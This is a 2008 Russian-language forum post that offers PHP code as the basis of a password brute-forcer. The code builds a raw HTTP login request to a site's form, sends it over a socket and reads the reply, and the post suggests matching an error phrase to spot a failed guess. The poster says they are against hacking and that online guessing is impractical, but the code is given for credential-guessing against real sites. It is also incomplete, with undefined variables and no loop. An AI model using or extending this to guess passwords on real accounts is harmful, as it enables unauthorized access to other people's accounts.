Имя пользователя:
Пароль:  
Помощь | Регистрация | Забыли пароль?  

Показать сообщение отдельно

Аватара для Coutty

Кот Ти


Сообщения: 7318
Благодарности: 1204

Профиль | Отправить PM | Цитировать


Полагаю, вам нужен переборщик паролей?
Где-то у меня был. Сейчас погляжу.

Вот пример (кое-что я поменял в параметрах, но не суть):
PHP код: Выделить весь код

<?php

// сначала составляем наш запрос. У меня POST. Вы можете использовать GET (какой запрос отправляет браузер можно узнать, например, с помощью Wireshark)
$head 'POST /registration.php HTTP/1.1
User-Agent: Opera/9.23 (X11; Linux x86_64; U; en)
Host: site.ru
Accept: text/html, application/xml;q=0.9,application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*; q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *; q=0.1
Accept-Encoding: deflate, identity, *;q=0
Referer: http://site.ru/registration.php
Cookie: uzll=1190550513; 6siteuzll=1199287388; ucvid=NAdwD3QEvL
Cookie2: $Version=1
Connection: Keep-Alive
Content-Length: ' 
$length '
Content-Type: application/x-www-form-urlencoded
user=' 
$username[0] . '&password=' $password[0] . '&rem=1&a=2&s=2&c=0_0_1_35';

// открываем сокет, который будем читать
$fp fsockopen ("site.ru",80,$errno,$errstr,30);

if (!
$fp)
{  
    echo 
"$errstr($errno) <br />\n"// если не открывается - выдаём ошибку
} else {
  
fputs($fp$head); // если соединились - отправляем заголовок на сервер
  
while(!feof($fp)){ // и пока не достигнут конец ответа
      
$tempans fgets($fp,1280000); // читаем ответ (число - максимальное количество байт, которое хотим читать). Кажется, эта функция читает только одну строку, поэтому, наверное, правильнее было бы добавлять строку к переменной, а не присваивать, но сами разбирайтесь
}
  
fclose($fp); // отключаемся от сервера
   
}

 
echo 
$tempans// тут мы выводим то, что ответил нам сервер. Вместо этого можно использовать функцию поиска ключевого слова типа "Неправильное имя пользователя или пароль"
?>

Скажем, для GET запроса начало заголовка будет таким:
GET /registration.php?user=$user&password=$pass HTTP/1.1
В общем, Wireshark вам в руки)

Я против взломов и этот код привожу лишь потому, что подобрать хоть более-менее сложный пароль (а не "пароль" или "123") через интернет практически нереально (надо много трафика и времени).

Ой, я там в подготовке запроса использовал ещё переменные $length, $username[0] и $password[0], но они были нужны мне для подбора POST-методом. У GET'а заголовок покороче.
Это сообщение посчитали полезным следующие участники:

Отправлено: 21:53, 25-06-2008 | #2